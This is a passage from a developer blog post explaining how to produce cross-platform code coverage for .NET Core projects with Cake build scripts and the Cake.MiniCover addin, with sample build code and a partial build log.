&lt;td&gt;Debian&lt;/td&gt;
&lt;td&gt;&lt;a href="https://cakebitbucketpipelinesshield.azurewebsites.net/url/cakebuild/cake-integration-tests/develop" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/310dfa83c6825c8ecd29c6345746217274bf7c7d/68747470733a2f2f63616b656269746275636b6574706970656c696e6573736869656c642e617a75726577656273697465732e6e65742f7374617475732f63616b656275696c642f63616b652d696e746567726174696f6e2d74657374732f646576656c6f70" alt="Build Status"&gt;&lt;/a&gt;&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitLab&lt;/td&gt;
&lt;td&gt;Debian&lt;/td&gt;
&lt;td&gt;&lt;a href="https://gitlab.com/cake-build/cake/commits/develop" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/715ef5d67b32dd4a5013573e5e101fe08f565f52/68747470733a2f2f6769746c61622e636f6d2f63616b652d6275696c642f63616b652f6261646765732f646576656c6f702f706970656c696e652e737667" alt="pipeline status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Actions&lt;/td&gt;
&lt;td&gt;Windows / Ubuntu/ macOS&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/cake-build/cake/actions"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6RHSjSMg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/cake-build/cake/workflows/Build/badge.svg%3Fbranch%3Ddevelop" alt="Build Status"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h2&gt;
Code Coverage&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://coveralls.io/github/cake-build/cake?branch=develop" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/0bd3eb762c6c1d1bd328a1a1e5a9b328a9911174/68747470733a2f2f636f766572616c6c732e696f2f7265706f732f6769746875622f63616b652d6275696c642f63616b652f62616467652e7376673f6272616e63683d646576656c6f70" alt="Coverage Status"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
Table of Contents&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/cake-build/cake#documentation"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/cake-build/cake#example"&gt;Example&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/cake-build/cake#1-install-the-cake-bootstrapper"&gt;Install the Cake bootstrapper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cake-build/cake#2-create-a-cake-script"&gt;Create a Cake script&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cake-build/cake#3-run-it"&gt;Run it!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cake-build/cake#contributing"&gt;Contributing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cake-build/cake#get-in-touch"&gt;Get in touch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cake-build/cake#license"&gt;License&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
Documentation&lt;/h2&gt;
&lt;p&gt;You can read the latest documentation at &lt;a href="https://cakebuild.net/" rel="nofollow"&gt;https://cakebuild.net/&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
Example&lt;/h2&gt;
&lt;p&gt;This example downloads the Cake bootstrapper and executes a simple build script
The bootstrapper is used to bootstrap Cake in a simple way and is not in
required in any way to execute build scripts. If you…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/cake-build/cake"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;To get started with cake, you will need two files, a &lt;code&gt;build.cake&lt;/code&gt; build script and a platform-specific bootstrapper script. Since we can build and generate coverage for .NET Core projects on Windows, macOS, and Linux, we can include a PowerShell script for Windows and a Bash Script for the other platforms. If you want to get started with building a .NET Core Project with cake, feel free to use my bootstrapper scripts: &lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/nlowe"&gt;
        nlowe
      &lt;/a&gt; / &lt;a href="https://github.com/nlowe/cake-bootstrap-dotnet"&gt;
        cake-bootstrap-dotnet
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Bootstrapper scripts for using cake with dotnet core
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
Cake Bootstrapper for dotnet core projects&lt;/h1&gt;
&lt;p&gt;Bootstrap cake for dotnet core projects without needing to install mono. Options (environment
variables):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;TOOLS_DIR&lt;/code&gt;: The path to install cake tools to. &lt;code&gt;./tools&lt;/code&gt; by default&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CAKE_VERSION&lt;/code&gt;: The version of cake to install. &lt;code&gt;0.26.1&lt;/code&gt; by default. To upgrade cake, delete your &lt;code&gt;TOOLS_DIR&lt;/code&gt; and change this variable.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CAKE_NETCOREAPP_VERSION&lt;/code&gt;: The &lt;code&gt;netcoreapp&lt;/code&gt; version to use for the tools dummy project. &lt;code&gt;2.0&lt;/code&gt; by default. Must be compatible with &lt;a href="https://www.nuget.org/packages/Cake.CoreCLR/" rel="nofollow"&gt;&lt;code&gt;Cake.CoreCLR&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All other options are present as with the standard
&lt;a href="https://github.com/cake-build/example"&gt;bootstrap&lt;/a&gt; scripts.&lt;/p&gt;
&lt;/div&gt;



&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/nlowe/cake-bootstrap-dotnet"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;Cake is extremely extensible via the &lt;code&gt;addin&lt;/code&gt; system. This restores extensions to Cake as a &lt;code&gt;nuget&lt;/code&gt; package before running the build script. I've made a Cake addin for minicover that greatly simplifies the coverage generation process: &lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/nlowe"&gt;
        nlowe
      &lt;/a&gt; / &lt;a href="https://github.com/nlowe/Cake.MiniCover"&gt;
        Cake.MiniCover
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A Cake Addin for Minicover, making it as easy as possible to get cross-platform code coverage on dotnet core
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
Cake.MiniCover&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://travis-ci.org/nlowe/Cake.MiniCover" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/a8b71d7ac27a37acea0032f65120ddd0540a9eb4/68747470733a2f2f7472617669732d63692e6f72672f6e6c6f77652f43616b652e4d696e69436f7665722e7376673f6272616e63683d6d6173746572" alt="Build Status"&gt;&lt;/a&gt; &lt;a href="https://www.nuget.org/packages/Cake.MiniCover/" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/175a12b1a19b0dd0611aa1df58bf323110921a4b/68747470733a2f2f696d672e736869656c64732e696f2f6e756765742f762f43616b652e4d696e69436f7665722e737667" alt="nuget"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A &lt;a href="https://cakebuild.net" rel="nofollow"&gt;Cake&lt;/a&gt; addin for &lt;a href="https://github.com/lucaslorentz/minicover"&gt;MiniCover&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
Usage&lt;/h2&gt;
&lt;p&gt;Until &lt;a href="https://github.com/lucaslorentz/minicover/issues/31"&gt;lucaslorentz/minicover#31&lt;/a&gt; is
resolved, you need to call the &lt;code&gt;SetMiniCoverToolsProject&lt;/code&gt; alias to locate the tools project:&lt;/p&gt;
&lt;div class="highlight highlight-source-cs"&gt;&lt;pre&gt;#addin "Cake.MiniCover"
&lt;span class="pl-en"&gt;SetMiniCoverToolsProject&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;./minicover/minicover.csproj&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;//&lt;/span&gt; ...&lt;/span&gt;
&lt;span class="pl-en"&gt;Task&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;Coverage&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
    .&lt;span class="pl-en"&gt;IsDependentOn&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;build&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
    .&lt;span class="pl-en"&gt;Does&lt;/span&gt;(() &lt;span class="pl-k"&gt;=&amp;gt;&lt;/span&gt; 
{
    &lt;span class="pl-en"&gt;MiniCover&lt;/span&gt;(&lt;span class="pl-smi"&gt;tool&lt;/span&gt; &lt;span class="pl-k"&gt;=&amp;gt;&lt;/span&gt;
        {
            &lt;span class="pl-k"&gt;foreach&lt;/span&gt;(&lt;span class="pl-k"&gt;var&lt;/span&gt; &lt;span class="pl-smi"&gt;project&lt;/span&gt; &lt;span class="pl-k"&gt;in&lt;/span&gt; &lt;span class="pl-en"&gt;GetFiles&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;./test/**/*.csproj&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;))
            {
                &lt;span class="pl-smi"&gt;tool&lt;/span&gt;.&lt;span class="pl-en"&gt;DotNetCoreTest&lt;/span&gt;(&lt;span class="pl-smi"&gt;project&lt;/span&gt;.&lt;span class="pl-smi"&gt;FullPath&lt;/span&gt;, &lt;span class="pl-k"&gt;new&lt;/span&gt; &lt;span class="pl-en"&gt;DotNetCoreTestSettings&lt;/span&gt;()
                {
                    &lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;//&lt;/span&gt; Required to keep instrumentation added by MiniCover&lt;/span&gt;
                    &lt;span class="pl-smi"&gt;NoBuild&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-c1"&gt;true&lt;/span&gt;,
                    &lt;span class="pl-smi"&gt;Configuration&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-smi"&gt;configuration&lt;/span&gt;
                });
            }
        },
        &lt;span class="pl-k"&gt;new&lt;/span&gt; &lt;span class="pl-en"&gt;MiniCoverSettings&lt;/span&gt;()
            .&lt;span class="pl-en"&gt;WithAssembliesMatching&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;./test/**/*.dll&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
            .&lt;span class="pl-en"&gt;WithSourcesMatching&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;./src/**/*.cs&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
            .&lt;span class="pl-en"&gt;GenerateReport&lt;/span&gt;(&lt;span class="pl-smi"&gt;ReportType&lt;/span&gt;.&lt;span class="pl-smi"&gt;CONSOLE&lt;/span&gt; &lt;span class="pl-k"&gt;|&lt;/span&gt; &lt;span class="pl-smi"&gt;ReportType&lt;/span&gt;.&lt;span class="pl-smi"&gt;XML&lt;/span&gt;)
    );
});

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;//&lt;/span&gt; ...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you need more fine-graned control or have multiple test targets, you can call the aliases individually:&lt;/p&gt;
&lt;div class="highlight highlight-source-cs"&gt;
&lt;pre&gt;#addin "Cake.MiniCover"
&lt;span class="pl-en"&gt;SetMiniCoverToolsProject&lt;/span&gt;&lt;/pre&gt;…&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/nlowe/Cake.MiniCover"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  The Build Script
&lt;/h3&gt;

&lt;p&gt;Cake organizes the build script as a series of &lt;code&gt;Task&lt;/code&gt;s with dependencies. Addins expose aliases for us to call.&lt;/p&gt;

&lt;h4&gt;
  
  
  Referencing the Addin
&lt;/h4&gt;

&lt;p&gt;The first order of business is referencing our addin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;addin&lt;/span&gt; &lt;span class="s"&gt;"nuget:?package=Cake.MiniCover&amp;amp;version=0.29.0-next20180721071547&amp;amp;prerelease"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I recently fixed support for publishing coverage to &lt;a href="https://coveralls.io"&gt;https://coveralls.io&lt;/a&gt;. For now, you will need to reference the &lt;code&gt;0.29.0-next20180721071547&lt;/code&gt; pre-release of &lt;code&gt;Cake.MiniCover&lt;/code&gt; until &lt;code&gt;0.29.0&lt;/code&gt; is released.&lt;/p&gt;

&lt;p&gt;Additionally, this version of &lt;code&gt;Cake.MiniCover&lt;/code&gt; requires &lt;code&gt;Cake&lt;/code&gt; 0.29+. You will need to use the bootstrap scripts from the example repo I linked at the beginning of this post or update them to reference &lt;code&gt;Cake&lt;/code&gt; 0.29+&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;
  
  
  Locating the Tools Project
&lt;/h4&gt;

&lt;p&gt;Next, we need to tell Cake where our MiniCover tools project is located:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="nf"&gt;SetMiniCoverToolsProject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./minicover/minicover.csproj"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Writing the Test Target
&lt;/h4&gt;

&lt;p&gt;We can wrap our &lt;a href="http://cakebuild.net/api/Cake.Common.Tools.DotNetCore/DotNetCoreAliases/8191BBC4"&gt;&lt;code&gt;DotNetCoreTest&lt;/code&gt;&lt;/a&gt; call in a &lt;a href="http://cakebuild.net/api/Cake.MiniCover/MiniCoverAliases/6959692A"&gt;&lt;code&gt;MiniCover&lt;/code&gt;&lt;/a&gt; call. This will automatically instrument and uninstrument assemblies and run any reports we request:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="nf"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Test"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IsDependentOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Build"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Does&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;MiniCover&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; 
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;foreach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;GetFiles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./test/**/*.csproj"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nf"&gt;DotNetCoreTest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FullPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;DotNetCoreTestSettings&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;Configuration&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;configuration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;NoRestore&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;NoBuild&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;
                &lt;span class="p"&gt;});&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;MiniCoverSettings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WithAssembliesMatching&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./test/**/*.dll"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WithSourcesMatching&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./src/**/*.cs"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WithNonFatalThreshold&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GenerateReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ReportType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CONSOLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;For brevity I've only included the &lt;code&gt;Test&lt;/code&gt; task here. Please see the &lt;a href="https://raw.githubusercontent.com/nlowe/coveralls-netcore/master/build.cake"&gt;full build script&lt;/a&gt; for the &lt;code&gt;Build&lt;/code&gt; task definition and other variables required to execute this task.&lt;/p&gt;

&lt;p&gt;Note the &lt;code&gt;WithNonFatalThreshold()&lt;/code&gt; setting. This will disable exiting with an error if coverage is below the specified threshold, which is useful if you want your build system to track builds but have a different system for tracking coverage.&lt;/p&gt;
&lt;h3&gt;
  
  
  Generating Coverage Results
&lt;/h3&gt;

&lt;p&gt;Now, we can simply invoke our build script to run our unit tests and print a coverage report to the console:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On macOS / Linux:&lt;/span&gt;
./build.sh &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="nb"&gt;test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Or&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Windows:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;/build.ps1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Build&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Cake will figure out the task dependencies and execute them in the proper order, showing output and keeping track of how long each task takes to run:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./build.sh &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="nb"&gt;test
&lt;/span&gt;Installing Cake 0.29.0
  Writing /tmp/tmpcaiVOk.tmp
info : Adding PackageReference &lt;span class="k"&gt;for &lt;/span&gt;package &lt;span class="s1"&gt;'Cake.CoreCLR'&lt;/span&gt; into project &lt;span class="s1"&gt;'/home/nathan/projects/coveralls-netcore/tools/cake.csproj'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
log  : Restoring packages &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/tools/cake.csproj...
info :   GET https://api.nuget.org/v3-flatcontainer/cake.coreclr/index.json
info :   OK https://api.nuget.org/v3-flatcontainer/cake.coreclr/index.json 135ms
info :   GET https://api.nuget.org/v3-flatcontainer/cake.coreclr/0.29.0/cake.coreclr.0.29.0.nupkg
info :   OK https://api.nuget.org/v3-flatcontainer/cake.coreclr/0.29.0/cake.coreclr.0.29.0.nupkg 49ms
log  : Installing Cake.CoreCLR 0.29.0.
info : Package &lt;span class="s1"&gt;'Cake.CoreCLR'&lt;/span&gt; is compatible with all the specified frameworks &lt;span class="k"&gt;in &lt;/span&gt;project &lt;span class="s1"&gt;'/home/nathan/projects/coveralls-netcore/tools/cake.csproj'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
info : PackageReference &lt;span class="k"&gt;for &lt;/span&gt;package &lt;span class="s1"&gt;'Cake.CoreCLR'&lt;/span&gt; version &lt;span class="s1"&gt;'0.29.0'&lt;/span&gt; added to file &lt;span class="s1"&gt;'/home/nathan/projects/coveralls-netcore/tools/cake.csproj'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Analyzing build script...
Processing build script...
Installing addins...
Compiling build script...
  Restoring packages &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/minicover/minicover.csproj...
  Restore completed &lt;span class="k"&gt;in &lt;/span&gt;73.51 ms &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/minicover/minicover.csproj.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/minicover/obj/minicover.csproj.nuget.g.props.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/minicover/obj/minicover.csproj.nuget.g.targets.
  Restore completed &lt;span class="k"&gt;in &lt;/span&gt;180.67 ms &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/minicover/minicover.csproj.

&lt;span class="o"&gt;========================================&lt;/span&gt;
Restore
&lt;span class="o"&gt;========================================&lt;/span&gt;
Executing task: Restore
  Restoring packages &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/MyLib.Tests.csproj...
  Restoring packages &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj...
  Restore completed &lt;span class="k"&gt;in &lt;/span&gt;63.88 ms &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/MyLib.Tests.csproj.
/home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj : warning NU1603: MyLib depends on NETStandard.Library &lt;span class="o"&gt;(&amp;gt;=&lt;/span&gt; 2.0.2-servicing-26420-0&lt;span class="o"&gt;)&lt;/span&gt; but NETStandard.Library 2.0.2-servicing-26420-0 was not found. An approximate best match of NETStandard.Library 2.0.2 was resolved. &lt;span class="o"&gt;[&lt;/span&gt;/home/nathan/projects/coveralls-netcore/coveralls-netcore.sln]
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/obj/MyLib.Tests.csproj.nuget.g.props.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/src/MyLib/obj/MyLib.csproj.nuget.g.props.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/obj/MyLib.Tests.csproj.nuget.g.targets.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/src/MyLib/obj/MyLib.csproj.nuget.g.targets.
  Restore completed &lt;span class="k"&gt;in &lt;/span&gt;655.78 ms &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj.
  Restore completed &lt;span class="k"&gt;in &lt;/span&gt;655.63 ms &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/MyLib.Tests.csproj.
Finished executing task: Restore

&lt;span class="o"&gt;========================================&lt;/span&gt;
Build
&lt;span class="o"&gt;========================================&lt;/span&gt;
Executing task: Build
Microsoft &lt;span class="o"&gt;(&lt;/span&gt;R&lt;span class="o"&gt;)&lt;/span&gt; Build Engine version 15.7.179.62826 &lt;span class="k"&gt;for&lt;/span&gt; .NET Core
Copyright &lt;span class="o"&gt;(&lt;/span&gt;C&lt;span class="o"&gt;)&lt;/span&gt; Microsoft Corporation. All rights reserved.

/home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj : warning NU1603: MyLib depends on NETStandard.Library &lt;span class="o"&gt;(&amp;gt;=&lt;/span&gt; 2.0.2-servicing-26420-0&lt;span class="o"&gt;)&lt;/span&gt; but NETStandard.Library 2.0.2-servicing-26420-0 was not found. An approximate best match of NETStandard.Library 2.0.2 was resolved.
  MyLib -&amp;gt; /home/nathan/projects/coveralls-netcore/src/MyLib/bin/Release/netstandard2.0/MyLib.dll
  MyLib.Tests -&amp;gt; /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/bin/Release/netcoreapp2.1/MyLib.Tests.dll

Build succeeded.

/home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj : warning NU1603: MyLib depends on NETStandard.Library &lt;span class="o"&gt;(&amp;gt;=&lt;/span&gt; 2.0.2-servicing-26420-0&lt;span class="o"&gt;)&lt;/span&gt; but NETStandard.Library 2.0.2-servicing-26420-0 was not found. An approximate best match of NETStandard.Library 2.0.2 was resolved.
    1 Warning&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;
    0 Error&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;

Time Elapsed 00:00:02.64
Finished executing task: Build

&lt;span class="o"&gt;========================================&lt;/span&gt;
Test
&lt;span class="o"&gt;========================================&lt;/span&gt;
Executing task: Test
Assembly resolver search directories:
/home/nathan/projects/coveralls-netcore/test/MyLib.Tests/obj/Release/netcoreapp2.1

Assembly resolver search directories:
/home/nathan/projects/coveralls-netcore/test/MyLib.Tests/bin/Release/netcoreapp2.1
/home/nathan/.nuget/packages
/opt/dotnet/sdk/NuGetFallbackFolder

Instrumenting assembly &lt;span class="s2"&gt;"MyLib"&lt;/span&gt;
Changing working directory to &lt;span class="s1"&gt;'/home/nathan/projects/coveralls-netcore'&lt;/span&gt;
